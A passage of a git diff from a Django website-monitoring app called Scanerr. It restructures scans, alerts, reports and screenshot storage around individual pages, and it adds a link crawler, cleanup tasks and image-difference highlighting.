+def delete_old_resources(days_to_live=30):
+    max_date = datetime.now() - timedelta(days=days_to_live)
+    tests = Test.objects.filter(time_created__lte=max_date)
+    scans = Scan.objects.filter(time_created__lte=max_date)
+    testcases = Testcase.objects.filter(time_created__lte=max_date)
+
+    for test in tests:
+        delete_test_s3_bg.delay(test.id, test.site.id, test.page.id)
+        test.delete()
+    for scan in scans:
+        delete_scan_s3_bg.delay(scan.id, scan.site.id, scan.page.id)
+        scan.delete()
+    for testcase in testcases:
+        delete_testcase_s3_bg.delay(testcase.id)
+        testcase.delete()
+    
+    logger.info('Cleaned up resources')
+
+
+
+
 @shared_task
 def migrate_site_bg(
         login_url, 
@@ -201,4 +471,18 @@ def migrate_site_bg(
         driver,
     )
 
-    logger.info('Finished Migration')
\ No newline at end of file
+    logger.info('Finished Migration')
+
+
+
+@shared_task
+def send_invite_link_bg(member_id):
+    member = Member.objects.get(id=member_id)
+    send_invite_link(member)
+    logger.info('Sent invite')
+
+@shared_task
+def send_remove_alert_bg(member_id):
+    member = Member.objects.get(id=member_id)
+    send_remove_alert(member)
+    logger.info('Sent remove alert')
\ No newline at end of file
diff --git a/app/api/utils/alerts.py b/app/api/utils/alerts.py
index fb4f68df..7cf2fc63 100644
--- a/app/api/utils/alerts.py
+++ b/app/api/utils/alerts.py
@@ -28,7 +28,7 @@ def create_exp_str(item, automation, is_email=False):
         elif 'current_health' in e['data_type']:
             data_type = 'Health:\t'+str((float(item.lighthouse_delta["scores"]["current_average"]) + float(item.yellowlab_delta["scores"]["current_average"])/2))+'\n\t'
         elif 'health' in e['data_type']:
-            data_type = 'Health:\t'+str((float(item.lighthouse["scores"]["average"]) + float(item.yellowlab["scores"]["globalScore"])/2))+'\n\t'
+            data_type = 'Health:\t'+str(((float(item.lighthouse["scores"]["average"]) + float(item.yellowlab["scores"]["globalScore"]))/2))+'\n\t'
         # LH test data
         elif 'current_lighthouse_average' in e['data_type']:
             data_type = 'Lighthouse Average:\t'+str(item.lighthouse_delta["scores"]["current_average"])+'\n\t'
@@ -270,7 +270,12 @@ def automation_email(email=None, automation_id=None, object_id=None):
     if email and automation_id:
         automation = Automation.objects.get(id=automation_id)
         schedule = automation.schedule
-        site = schedule.site
+        if schedule.site is not None:
+            url_end = '/site/'+str(schedule.site.id)
+            url = schedule.site.site_url
+        else:
+            url_end = '/page/'+str(schedule.page.id)
+            url = schedule.page.page_url
 
         # getting object
         data = get_item(object_id=object_id)
@@ -282,12 +287,12 @@ def automation_email(email=None, automation_id=None, object_id=None):
 
         exp_list = create_exp_str(item=item, automation=automation, is_email=True)
 
-        object_url = str(os.environ.get('CLIENT_URL_ROOT') + '/site/'+str(site.id))
-        subject = f'Alert for {site.site_url}'
-        title = f'Alert for {site.site_url}'
-        pre_header = f'Alert for {site.site_url}'
+        object_url = str(os.environ.get('CLIENT_URL_ROOT') + url_end)
+        subject = f'Alert for {url}'
+        title = f'Alert for {url}'
+        pre_header = f'Alert for {url}'
         pre_content = (
-            f'Scanerr just finished running a {item_type} for {site.site_url}. ' 
+            f'Scanerr just finished running a {item_type} for {url}. ' 
             f'Below are the current stats:\n'
         )
         content = (
@@ -341,8 +346,12 @@ def automation_report_email(email=None, automation_id=None, object_id=None):
     if email and automation_id:
         automation = Automation.objects.get(id=automation_id)
         schedule = automation.schedule
-        site = schedule.site
-
+        if schedule.site is not None:
+            url_end = '/site/'+str(schedule.site.id)
+            url = schedule.site.site_url
+        else:
+            url_end = '/page/'+str(schedule.page.id)
+            url = schedule.page.page_url
         try:
             item = Report.objects.get(id=uuid.UUID(object_id))
             item_type = 'Report'
@@ -351,11 +360,11 @@ def automation_report_email(email=None, automation_id=None, object_id=None):
 
         exp_list = ''
         object_url = str(item.path)
-        subject = f'Report for {site.site_url}'
-        title = f'Report for {site.site_url}'
-        pre_header = f'Report for {site.site_url}'
+        subject = f'Report for {url}'
+        title = f'Report for {url}'
+        pre_header = f'Report for {url}'
         pre_content = (
-            f'Scanerr just finished creating a {item_type} for {site.site_url}. ' 
+            f'Scanerr just finished creating a {item_type} for {url}. ' 
             f'Please click the link below to access and download the report.\n'
         )
         content = (
@@ -410,7 +419,12 @@ def automation_webhook(
     if request_type and automation_id and request_url and request_data and object_id:
         automation = Automation.objects.get(id=automation_id)
         schedule = automation.schedule
-        site = schedule.site
+        if schedule.site is not None:
+            url_end = '/site/'+str(schedule.site.id)
+            url = schedule.site.site_url
+        else:
+            url_end = '/page/'+str(schedule.page.id)
+            url = schedule.page.page_url
 
         # getting object
         data = get_item(object_id=object_id)
@@ -453,7 +467,12 @@ def automation_phone(phone_number=None, automation_id=None, object_id=None):
     if phone_number and automation_id and object_id:
         automation = Automation.objects.get(id=automation_id)
         schedule = automation.schedule
-        site = schedule.site
+        if schedule.site is not None:
+            url_end = '/site/'+str(schedule.site.id)
+            url = schedule.site.site_url
+        else:
+            url_end = '/page/'+str(schedule.page.id)
+            url = schedule.page.page_url
 
         # getting object
         data = get_item(object_id=object_id)
@@ -465,9 +484,9 @@ def automation_phone(phone_number=None, automation_id=None, object_id=None):
 
         exp_str = create_exp_str(item=item, automation=automation)
 
-        object_url = str(os.environ.get('CLIENT_URL_ROOT') + '/site/'+str(site.id))
+        object_url = str(os.environ.get('CLIENT_URL_ROOT') + url_end)
         pre_content = (
-            f'Scanerr just finished running a {item_type} for {site.site_url}. ' 
+            f'Scanerr just finished running a {item_type} for {url}. ' 
             f'Below are the current stats:\n\n\t{exp_str}\n'
         )
         content = (
@@ -506,7 +525,13 @@ def automation_slack(automation_id=None, object_id=None):
         automation = Automation.objects.get(id=automation_id)
         account = Account.objects.get(user=automation.user)
         schedule = automation.schedule
-        site = schedule.site
+        if schedule.site is not None:
+            url_end = '/site/'+str(schedule.site.id)
+            url = schedule.site.site_url
+        else:
+            url_end = '/page/'+str(schedule.page.id)
+            url = schedule.page.page_url
+
 
         # getting object
         data = get_item(object_id=object_id)
@@ -518,9 +543,9 @@ def automation_slack(automation_id=None, object_id=None):
 
         exp_str = create_exp_str(item=item, automation=automation)
 
-        object_url = str(os.environ.get('CLIENT_URL_ROOT') + '/site/'+str(site.id))
+        object_url = str(os.environ.get('CLIENT_URL_ROOT') + url_end)
         pre_content = (
-            f'Scanerr just finished running a {item_type} for {site.site_url}. ' 
+            f'Scanerr just finished running a {item_type} for {url}. ' 
             f'Below are the current stats:\n\n\t{exp_str}\n'
         )
         content = (
diff --git a/app/api/utils/crawler.py b/app/api/utils/crawler.py
new file mode 100644
index 00000000..c96fd892
--- /dev/null
+++ b/app/api/utils/crawler.py
@@ -0,0 +1,53 @@
+import requests
+from bs4 import BeautifulSoup
+
+
+
+
+class Crawler():
+
+    def __init__(self, url=None, sitemap=None, max_urls=25):
+        self.url = url
+        self.sitemap = sitemap
+        self.max_urls = max_urls
+
+    
+    def get_links(self):
+
+        follow_urls = []
+        crawled_urls = [self.url,]
+        
+        def add_urls(start_url):
+            reqs = requests.get(start_url)
+            soup = BeautifulSoup(reqs.text, 'html.parser')
+            for link in soup.find_all('a'):
+                url = link.get('href')
+                if url is not None:
+                    if (url.startswith(self.url) or url.startswith('/')) and 'cdn-cgi' not in url:
+                        if url.startswith('/'):
+                            url = self.url + url
+                        # check status of page
+                        if requests.get(url).status_code == 200:
+                            if url.endswith('/'):
+                                url = url.rstrip('/')
+                            if not url in follow_urls and '#' not in url:
+                                follow_urls.append(url)
+            
+        # layer 0
+        add_urls(self.url)
+
+        # iterate through layers
+        while (len(follow_urls) > len(crawled_urls)) and (len(crawled_urls) < self.max_urls):
+            for url in follow_urls:
+                if not url in crawled_urls:
+                    crawled_urls.append(url)
+                    print(url)
+                    add_urls(url)
+                if len(crawled_urls) >= self.max_urls:
+                    print('max pages reached')
+                    break
+
+        
+        return crawled_urls
+
+
diff --git a/app/api/utils/image.py b/app/api/utils/image.py
index a6f88768..89f2970d 100644
--- a/app/api/utils/image.py
+++ b/app/api/utils/image.py
@@ -6,6 +6,7 @@
 from django.forms.models import model_to_dict
 from django.core.serializers.json import DjangoJSONEncoder
 from sewar.full_ref import uqi, mse, ssim, msssim, psnr, ergas, vifp, rase, sam, scc
+from skimage.metrics import structural_similarity
 from scanerr import settings
 from PIL import Image as I, ImageChops, ImageStat
 from pyppeteer import launch
@@ -116,7 +117,7 @@ def check_timeout(self, timeout, start_time):
 
 
 
-    def scan(self, site, configs, driver=None,):
+    def scan(self, scan, configs, driver=None,):
         """
         Grabs multiple screenshots of the website and uploads 
         them to s3.
@@ -130,6 +131,10 @@ def scan(self, site, configs, driver=None,):
             endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
         )
 
+        # get page and site objs
+        site = scan.site
+        page = scan.page
+
         # initialize driver if not passed as param
         driver_present = True
         if not driver:
@@ -137,8 +142,8 @@ def scan(self, site, configs, driver=None,):
             driver_present = False
 
 
-        # request site_url 
-        driver.get(site.site_url)
+        # request page_url 
+        driver.get(page.page_url)
 
         # waiting for network requests to resolve
         driver_wait(
@@ -220,7 +225,7 @@ def scan(self, site, configs, driver=None,):
                 # get screenshot
                 driver.save_screenshot(f'{pic_id}.png')
                 image = os.path.join(settings.BASE_DIR, f'{pic_id}.png')
-                remote_path = f'static/sites/{site.id}/{pic_id}.png'
+                remote_path = f'static/sites/{site.id}/{page.id}/{scan.id}/{pic_id}.png'
                 root_path = settings.AWS_S3_URL_PATH
                 image_url = f'{root_path}/{remote_path}'
             
@@ -257,7 +262,7 @@ def scan(self, site, configs, driver=None,):
 
 
 
-    def _scan(self, site, configs, driver=None,):
+    def _scan(self, scan, configs, driver=None,):
         """
         Grabs multiple screenshots of the website and uploads 
         them to s3 as one package.
@@ -271,6 +276,10 @@ def _scan(self, site, configs, driver=None,):
             endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
         )
 
+        # get page and site objs
+        site = scan.site
+        page = scan.page
+
         # initialize driver if not passed as param
         driver_present = True
         if not driver:
@@ -278,8 +287,8 @@ def _scan(self, site, configs, driver=None,):
             driver_present = False
 
 
-        # request site_url 
-        driver.get(site.site_url)
+        # request page_url 
+        driver.get(page.page_url)
 
         # waiting for network requests to resolve
         driver_wait(
@@ -392,7 +401,7 @@ def add_images(im1, im2):
                 bottom = True
 
 
-        remote_path = f'static/sites/{site.id}/{pic_id_2}.png'
+        remote_path = f'static/sites/{site.id}/{page.id}/{scan.id}/{pic_id_2}.png'
         root_path = settings.AWS_S3_URL_PATH
         image_url = f'{root_path}/{remote_path}'
     
@@ -427,7 +436,7 @@ def add_images(im1, im2):
 
 
 
-    async def scan_p(self, site, configs):
+    async def scan_p(self, scan, configs):
         """
         Using Puppeteer, grabs multiple screenshots of the website and uploads 
         them to s3.
@@ -441,6 +450,10 @@ async def scan_p(self, site, configs):
             endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
         )
 
+        # get page and site objs
+        site = scan.site
+        _page = scan.page
+
         driver = await driver_init_p(window_size=configs.get('window_size', '1920,1080'), wait_time=configs.get('max_wait_time', 30))
         page = await driver.newPage()
 
@@ -475,8 +488,8 @@ async def scan_p(self, site, configs):
         else:
             await page.setViewport(viewport)
 
-        # requesting site url
-        await page.goto(site.site_url, page_options)
+        # requesting page_url
+        await page.goto(_page.page_url, page_options)
 
         
         if configs.get('disable_animations') == True:
@@ -560,7 +573,7 @@ def get_active_global_masks():
                 await page.screenshot({'path': f'{pic_id}.png'})
 
                 image = os.path.join(settings.BASE_DIR, f'{pic_id}.png')
-                remote_path = f'static/sites/{site.id}/{pic_id}.png'
+                remote_path = f'static/sites/{site.id}/{_page.id}/{scan.id}/{pic_id}.png'
                 root_path = settings.AWS_S3_URL_PATH
                 image_url = f'{root_path}/{remote_path}'
             
@@ -599,7 +612,7 @@ def get_active_global_masks():
 
 
 
-    async def _scan_p(self, site, configs):
+    async def _scan_p(self, scan, configs):
         """
         Using Puppeteer, grabs multiple screenshots of the website and uploads 
         them to s3 as a single image.
@@ -613,6 +626,10 @@ async def _scan_p(self, site, configs):
             endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
         )
 
+        # get page and site objs
+        site = scan.site
+        _page = scan.page
+
         driver = await driver_init_p(window_size=configs.get('window_size', '1920,1080'), wait_time=configs.get('max_wait_time', 30))
         page = await driver.newPage()
 
@@ -647,8 +664,8 @@ async def _scan_p(self, site, configs):
         else:
             await page.setViewport(viewport)
 
-        # requesting site url
-        await page.goto(site.site_url, page_options)
+        # requesting page_url
+        await page.goto(_page.page_url, page_options)
 
         if configs.get('disable_animations') == True:
             # inserting animation pausing script
@@ -761,7 +778,7 @@ def add_images(im1, im2):
                 bottom = True
 
 
-        remote_path = f'static/sites/{site.id}/{pic_id_2}.png'
+        remote_path = f'static/sites/{site.id}/{_page.id}/{scan.id}/{pic_id_2}.png'
         root_path = settings.AWS_S3_URL_PATH
         image_url = f'{root_path}/{remote_path}'
     
@@ -866,6 +883,75 @@ def test(self, test, index=None):
                 post_img_array = numpy.array(post_img)
 
 
+                # build two new images with differences highlighted
+                def highlight_diffs(pre_img_path, post_img_path, index):
+                    '''
+                        Returns -> two new images with highlights
+                    '''
+                    # Load the images
+                    image1 = cv2.imread(pre_img_path)
+                    image2 = cv2.imread(post_img_path)
+
+                    # Convert the images to grayscale
+                    gray1 = cv2.cvtColor(image1, cv2.COLOR_BGR2GRAY)
+                    gray2 = cv2.cvtColor(image2, cv2.COLOR_BGR2GRAY)
+
+                    # Compute the SSIM map
+                    (ssim_map, diff) = structural_similarity(gray1, gray2, full=True)
+
+                    # Highlight the differences
+                    diff = (diff * 255).astype("uint8")
+
+                    # Threshold the difference map
+                    _, thresh = cv2.threshold(diff, 0, 255, cv2.THRESH_BINARY_INV | cv2.THRESH_OTSU)
+
+                    # Find contours of the differences
+                    contours, _ = cv2.findContours(thresh.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)
+
+                    # Draw rectangles around the differences
+                    for contour in contours:
+                        (x, y, w, h) = cv2.boundingRect(contour)
+                        cv2.rectangle(image1, (x, y), (x+w, y+h), (0, 255, 0), 2)
+                        cv2.rectangle(image2, (x, y), (x+w, y+h), (0, 255, 0), 2)
+
+                    # Save the output images
+                    img_1_id = uuid.uuid4()
+                    img_2_id = uuid.uuid4()
+                    cv2.imwrite(temp_root + f"/{img_1_id}.png", image1)
+                    cv2.imwrite(temp_root + f"/{img_2_id}.png", image2)                    
+                    img_objs = save_images(img_1_id, img_2_id, index)
+
+                    return img_objs
+
+
+                # saving old images to new test.id path
+                def save_images(pre_img_id, post_img_id, index):
+                    image_ids = [pre_img_id, post_img_id]
+                    img_objs = []
+                    for img_id in image_ids:
+                        image = os.path.join(temp_root, f'{img_id}.png')
+                        remote_path = f'static/sites/{test.page.site.id}/{test.page.id}/{test.id}/{img_id}.png'
+                        root_path = settings.AWS_S3_URL_PATH
+                        image_url = f'{root_path}/{remote_path}'
+                    
+                        # upload to s3
+                        with open(image, 'rb') as data:
+                            s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
+                                remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"}
+                            )
+                        
+                        # building img obj
+                        obj = {
+                            "id": str(img_id),
+                            "url": image_url,
+                            "path": remote_path,
+                            "index": index,
+                        }
+                        img_objs.append(obj)
+                        
+                    return img_objs
+
+
                 # test images with PIL
                 def pil_score(pre_img, post_img):
                     try:
@@ -920,19 +1006,25 @@ def cv2_score(pre_img_array, post_img_array):
 
                 # test images
                 try:
+                    # ssim scoring
                     img_score_tupple = ssim(pre_img_array, post_img_array)
                     img_score_list = list(img_score_tupple)
                     ssim_img_score = statistics.fmean(img_score_list) * 100
-                    # print(f'ssim -> {ssim_img_score}')
 
+                    # pillow scoring
                     pil_img_score = pil_score(pre_img, post_img)
-                    # print(f'pil -> {pil_img_score}')
-
+                    
+                    # pixel perfect scoring
                     cv2_img_score = cv2_score(pre_img_array, post_img_array)
-                    # print(f'cv2 -> {cv2_img_score}')
 
+                    # weighted average
                     img_score = ((ssim_img_score * 2) + (pil_img_score * 1) + (cv2_img_score * 5)) / 8
-                    # print(f'img_score ==>  {img_score}')
+
+                    # generating new highlighted images
+                    diff_imgs = highlight_diffs(pre_img_path, post_img_path, i)
+
+                    # saving old images to test.id path
+                    old_imgs = save_images(pre_img_obj['id'], post_img_obj['id'], i)
 
                 except Exception as e:
                     print(e)
@@ -941,8 +1033,10 @@ def cv2_score(pre_img_array, post_img_array):
                 # create img test obj and add to array
                 img_test_obj = {
                     "index": i, 
-                    "pre_img": pre_img_obj,
-                    "post_img": post_img_obj,
+                    "pre_img": old_imgs[0],
+                    "post_img": old_imgs[1],
+                    "pre_img_diff": diff_imgs[0], 
+                    "post_img_diff": diff_imgs[1], 
                     "score": img_score,
                 }
 
@@ -1036,7 +1130,7 @@ def screenshot(self, site=None, url=None, configs=None, driver=None):
         pic_id = uuid.uuid4()
         driver.save_screenshot(f'{pic_id}.png')
         image = os.path.join(settings.BASE_DIR, f'{pic_id}.png')
-        remote_path = f'static/sites/{site_id}/{pic_id}.png'
+        remote_path = f'static/sites/{site_id}/{page.id}/{pic_id}.png'
         root_path = settings.AWS_S3_URL_PATH
         image_url = f'{root_path}/{remote_path}'
     
@@ -1141,7 +1235,7 @@ async def screenshot_p(self, site=None, url=None, configs=None):
         await page.screenshot({'path': f'{pic_id}.png'})
         await driver.close()
         image = os.path.join(settings.BASE_DIR, f'{pic_id}.png')
-        remote_path = f'static/sites/{site_id}/{pic_id}.png'
+        remote_path = f'static/sites/{site_id}/{page.id}/{pic_id}.png'
         root_path = settings.AWS_S3_URL_PATH
         image_url = f'{root_path}/{remote_path}'
 
diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index ad917045..d3b32d8e 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -8,8 +8,10 @@ class Lighthouse():
     """Initializes Google's Lighthouse CLI and runs an audit of the site"""
 
 
-    def __init__(self, site=None, configs=None):
-        self.site = site
+    def __init__(self, scan=None, configs=None):
+        self.scan = scan
+        self.site = self.scan.site
+        self.page = self.scan.page
         self.configs = configs
         self.sizes = configs['window_size'].split(',')
 
@@ -19,7 +21,7 @@ def init_audit(self):
                 'lighthouse', 
                 '--config-path=api/utils/custom-config.js',
                 '--quiet',
-                self.site.site_url, 
+                self.page.page_url, 
                 '--plugins=lighthouse-plugin-crux',
                 '--chrome-flags="--no-sandbox --headless --disable-dev-shm-usage"', 
                 f'--screenEmulation.width={self.sizes[0]}',
diff --git a/app/api/utils/reporter.py b/app/api/utils/reporter.py
index 77dffb4a..31197fd2 100644
--- a/app/api/utils/reporter.py
+++ b/app/api/utils/reporter.py
@@ -1,5 +1,5 @@
 from ..models import *
-import time, os, sys, json, boto3
+import time, os, sys, json, boto3, textwrap
 import PIL.Image as Img
 from scanerr import settings
 from datetime import datetime, timedelta
@@ -25,9 +25,9 @@ class Reporter():
 
     def __init__(self, report, scan=None):
         self.report = report
-        self.site = self.report.site
+        self.page = self.report.page
         if scan is None:
-            self.scan = Scan.objects.get(id=self.site.info['latest_scan']['id'])
+            self.scan = Scan.objects.get(id=self.page.info['latest_scan']['id'])
         else:
             self.scan = scan
 
@@ -70,7 +70,7 @@ def draw_page_title(self, title):
 
     def publish_report(self):
         self.c.save()
-        remote_path = f'static/sites/{self.report.site.id}/{self.report.id}.pdf'
+        remote_path = f'static/sites/{self.report.page.site.id}/{self.report.page.id}/{self.report.id}.pdf'
         s3 = boto3.client('s3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
             aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
             region_name=str(settings.AWS_S3_REGION_NAME), 
@@ -91,6 +91,25 @@ def publish_report(self):
         os.remove(self.local_path)
 
     
+    def draw_wrapped_line(self, text, length, x_pos, y_pos, y_offset):
+        """
+        :param text: the raw text to wrap
+        :param length: the max number of characters per line
+        :param x_pos: starting x position
+        :param y_pos: starting y position
+        :param y_offset: the amount of space to leave between wrapped lines
+        """
+        if len(text) > length:
+            wraps = textwrap.wrap(text, length, break_long_words=True)
+            for x in range(len(wraps)):
+                self.c.drawString(x_pos*inch, y_pos*inch, wraps[x])
+                y_pos -= y_offset
+            y_pos += y_offset  # add back offset after last wrapped line
+        else:
+            self.c.drawString(x_pos*inch, y_pos*inch, text)
+        return y_pos
+
+    
 
     def cover_page(self):
         # background and title
@@ -125,14 +144,17 @@ def cover_page(self):
         self.c.setFont('Helvetica-Bold', 45)
         self.c.setFillColor(HexColor(self.text_color))
         self.c.drawString(.5*inch, 10*inch, 'Web Vitals for')
-        if len(self.site.site_url) <= 12:
-            self.c.drawString(.5*inch, 9*inch, self.site.site_url)
-        elif 12 < len(self.site.site_url):
-            extra_chars = len(self.site.site_url) - 12
-            m = (3/5)
+        if len(self.page.page_url) <= 12:
+            self.c.setFont('Helvetica-Bold', 30)
+            self.c.drawString(.5*inch, 9*inch, self.page.page_url)
+        elif 12 < len(self.page.page_url):
+            extra_chars = len(self.page.page_url) - 12
+            m = (2/5)
+            y_offset = .5
+            length = int(20 + (extra_chars * m))
             self.c.setFont('Helvetica-Bold', int(45 - (extra_chars * m)))
             self.c.setFillColor(HexColor(self.text_color))
-            self.c.drawString(.5*inch, 9*inch, self.site.site_url)
+            self.draw_wrapped_line(text=self.page.page_url, length=length, x_pos=.5, y_pos=9, y_offset=y_offset)
         # cover img
         cover_img = os.path.join(settings.BASE_DIR, "api/utils/report_assets/cover_img.png")
         self.c.drawImage(cover_img, 1*inch, 2*inch, 6.04*inch, 4.68*inch, mask='auto')
diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index 13424f82..8a784de1 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -1,7 +1,7 @@
 from .driver_s import driver_init as driver_s_init, quit_driver
 from .driver_s import driver_wait
 from .driver_p import get_data
-from ..models import Site, Scan, Test
+from ..models import *
 from django.forms.models import model_to_dict
 from django.core.serializers.json import DjangoJSONEncoder
 from .lighthouse import Lighthouse
@@ -17,6 +17,7 @@ class Scanner():
     def __init__(
             self, 
             site=None, 
+            page=None,
             scan=None, 
             configs=None,
             type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab']
@@ -25,6 +26,9 @@ def __init__(
         if site == None and scan != None:
             site = scan.site
         
+        if page == None and scan != None:
+            page = scan.page
+        
         if configs is None:
             configs = {
                 'window_size': '1920,1080',
@@ -39,6 +43,7 @@ def __init__(
             }
         
         self.site = site
+        self.page = page
         
         if configs['driver'] == 'selenium':
             self.driver = driver_s_init(window_size=configs['window_size'], device=configs['device'])
@@ -67,21 +72,21 @@ def first_scan(self):
         yl_data = None
 
         if self.scan is None:
-            self.scan = Scan.objects.create(site=self.site, type=self.type)
+            self.scan = Scan.objects.create(site=self.site, page=self.page, type=self.type)
         
         if self.configs['driver'] == 'selenium':
-            self.driver.get(self.site.site_url)
+            self.driver.get(self.page.page_url)
             if 'html' in self.scan.type or 'full' in self.scan.type:
                 html = self.driver.page_source
             if 'logs' in self.scan.type or 'full' in self.scan.type:
                 logs = self.driver.get_log('browser')
             if 'vrt' in self.scan.type or 'full' in self.scan.type:
-                images = Image().scan(site=self.site, driver=self.driver, configs=self.configs)
+                images = Image().scan(scan=self.scan, driver=self.driver, configs=self.configs)
             quit_driver(self.driver)
         else:
             driver_data = asyncio.run(
                 get_data(
-                    url=self.site.site_url, 
+                    url=self.page.page_url, 
                     configs=self.configs
                 )
             )
@@ -90,12 +95,12 @@ def first_scan(self):
             if 'logs' in self.scan.type or 'full' in self.scan.type:
                 logs = driver_data['logs']
             if 'vrt' in self.scan.type or 'full' in self.scan.type:
-                images = asyncio.run(Image().scan_p(site=self.site, configs=self.configs))
+                images = asyncio.run(Image().scan_p(scan=self.scan, configs=self.configs))
         
         if 'lighthouse' in self.scan.type or 'full' in self.scan.type:
-            lh_data = Lighthouse(site=self.site, configs=self.configs).get_data() 
+            lh_data = Lighthouse(scan=self.scan, configs=self.configs).get_data() 
         if 'yellowlab' in self.scan.type or 'full' in self.scan.type:
-            yl_data = Yellowlab(site=self.site, configs=self.configs).get_data()
+            yl_data = Yellowlab(scan=self.scan, configs=self.configs).get_data()
 
         if html is not None:
             self.scan.html = html
@@ -113,6 +118,7 @@ def first_scan(self):
         self.scan.save()
         first_scan = self.scan
 
+        update_page_info(first_scan)
         update_site_info(first_scan)
 
         return first_scan
@@ -130,6 +136,7 @@ def second_scan(self):
         if not self.scan:
             first_scan = Scan.objects.filter(
                 site=self.site, 
+                page=self.page,
                 time_completed__isnull=False
             ).order_by('-time_created').first()
         
@@ -137,7 +144,7 @@ def second_scan(self):
             first_scan = self.scan
 
         # create second scan obj 
-        second_scan = Scan.objects.create(site=self.site, type=self.type)
+        second_scan = Scan.objects.create(site=self.site,  page=self.page, type=self.type)
 
         html = None
         logs = None
@@ -146,18 +153,18 @@ def second_scan(self):
         yl_data = None
         
         if self.configs['driver'] == 'selenium':
-            self.driver.get(self.site.site_url)
+            self.driver.get(self.page.page_url)
             if 'html' in second_scan.type or 'full' in second_scan.type:
                 html = self.driver.page_source
             if 'logs' in second_scan.type or 'full' in second_scan.type:
                 logs = self.driver.get_log('browser')
             if 'vrt' in second_scan.type or 'full' in second_scan.type:
-                images = Image().scan(site=self.site, driver=self.driver, configs=self.configs)
+                images = Image().scan(scan=second_scan, driver=self.driver, configs=self.configs)
             quit_driver(self.driver)
         else:
             driver_data = asyncio.run(
                 get_data(
-                    url=self.site.site_url, 
+                    url=self.page.page_url, 
                     configs=self.configs
                 )
             )
@@ -166,12 +173,12 @@ def second_scan(self):
             if 'logs' in second_scan.type or 'full' in second_scan.type:
                 logs = driver_data['logs']
             if 'vrt' in second_scan.type or 'full' in second_scan.type:
-                images = asyncio.run(Image().scan_p(site=self.site, configs=self.configs))
+                images = asyncio.run(Image().scan_p(scan=second_scan, configs=self.configs))
         
         if 'lighthouse' in second_scan.type or 'full' in second_scan.type:
-            lh_data = Lighthouse(site=self.site, configs=self.configs).get_data() 
+            lh_data = Lighthouse(scan=second_scan, configs=self.configs).get_data() 
         if 'yellowlab' in second_scan.type or 'full' in second_scan.type:
-            yl_data = Yellowlab(site=self.site, configs=self.configs).get_data()
+            yl_data = Yellowlab(scan=second_scan, configs=self.configs).get_data()
 
         if html is not None:
             second_scan.html = html
@@ -193,6 +200,7 @@ def second_scan(self):
         first_scan.paried_scan = second_scan
         first_scan.save()
 
+        update_page_info(second_scan)
         update_site_info(second_scan)
         
         return second_scan
@@ -212,19 +220,24 @@ def update_site_info(scan):
         
     health = 'No Data'
     badge = 'neutral'
-    d = 0
     score = 0
     site = scan.site
-
-    if scan.lighthouse['scores']['average'] is not None:
-        score += float(scan.lighthouse['scores']['average'])
-        d += 1
-    if scan.yellowlab['scores']['globalScore'] is not None:
-        score += float(scan.yellowlab['scores']['globalScore'])
-        d += 1
+    pages = Page.objects.filter(site=site)
+
+    # get latest scan of pages
+    scans = []
+    for page in pages:
+        if Scan.objects.filter(page=page).exists():
+            _scan = Scan.objects.filter(page=page).order_by('-time_completed')[0]
+            if _scan.lighthouse['scores']['average'] is not None:
+                scans.append(_scan.lighthouse['scores']['average'])
+            if _scan.yellowlab['scores']['globalScore'] is not None:
+                scans.append(_scan.yellowlab['scores']['globalScore'])
+    
+    # calc average score
+    score = sum(scans)/len(scans)
     
     if score != 0:
-        score = score / d
         if score >= 75:
             health = 'Good'
             badge = 'success'
@@ -236,7 +249,7 @@ def update_site_info(scan):
             badge = 'danger'
     
     else:
-        if scan.site.info['status']['score'] is not None:
+        if site.info['status']['score'] is not None:
             score = float(site.info['status']['score'])
             health = site.info['status']['health']
             badge = site.info['status']['badge']
@@ -246,8 +259,6 @@ def update_site_info(scan):
     site.info['latest_scan']['id'] = str(scan.id)
     site.info['latest_scan']['time_created'] = str(scan.time_created)
     site.info['latest_scan']['time_completed'] = str(scan.time_completed)
-    site.info['lighthouse'] = scan.lighthouse.get('scores')
-    site.info['yellowlab'] = scan.yellowlab.get('scores')
     site.info['status']['health'] = str(health)
     site.info['status']['badge'] = str(badge)
     site.info['status']['score'] = score
@@ -261,6 +272,60 @@ def update_site_info(scan):
 
 
 
+def update_page_info(scan):
+    """ 
+        Method to update associated Page with the new Scan data
+
+        returns -> `Page` <obj>
+    """
+        
+    health = 'No Data'
+    badge = 'neutral'
+    d = 0
+    score = 0
+    page = scan.page
+
+    if scan.lighthouse['scores']['average'] is not None:
+        score += float(scan.lighthouse['scores']['average'])
+        d += 1
+    if scan.yellowlab['scores']['globalScore'] is not None:
+        score += float(scan.yellowlab['scores']['globalScore'])
+        d += 1
+    
+    if score != 0:
+        score = score / d
+        if score >= 75:
+            health = 'Good'
+            badge = 'success'
+        elif 75 > score >= 60:
+            health = 'Okay'
+            badge = 'warning'
+        elif 60 > score:
+            health = 'Poor'
+            badge = 'danger'
+    
+    else:
+        if scan.page.info['status']['score'] is not None:
+            score = float(page.info['status']['score'])
+            health = page.info['status']['health']
+            badge = page.info['status']['badge']
+        else:
+            score = None
+
+    page.info['latest_scan']['id'] = str(scan.id)
+    page.info['latest_scan']['time_created'] = str(scan.time_created)
+    page.info['latest_scan']['time_completed'] = str(scan.time_completed)
+    page.info['lighthouse'] = scan.lighthouse.get('scores')
+    page.info['yellowlab'] = scan.yellowlab.get('scores')
+    page.info['status']['health'] = str(health)
+    page.info['status']['badge'] = str(badge)
+    page.info['status']['score'] = score
+
+    page.save()
+
+    return page
+
+
 
 
 
@@ -268,8 +333,8 @@ def update_site_info(scan):
 def check_scan_completion(scan):
     """
         Method that checks if the scan has finished all 
-        components. If so, method also updates scan and site 
-        info.
+        components. If so, method also updates Scan, Site, 
+        & Page info.
 
         returns -> `Scan` <obj>
     """
